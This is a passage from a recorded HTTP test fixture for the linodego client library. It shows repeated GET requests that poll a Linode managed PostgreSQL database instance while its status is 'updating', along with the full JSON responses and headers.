"day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 method: GET response: body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "689" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter 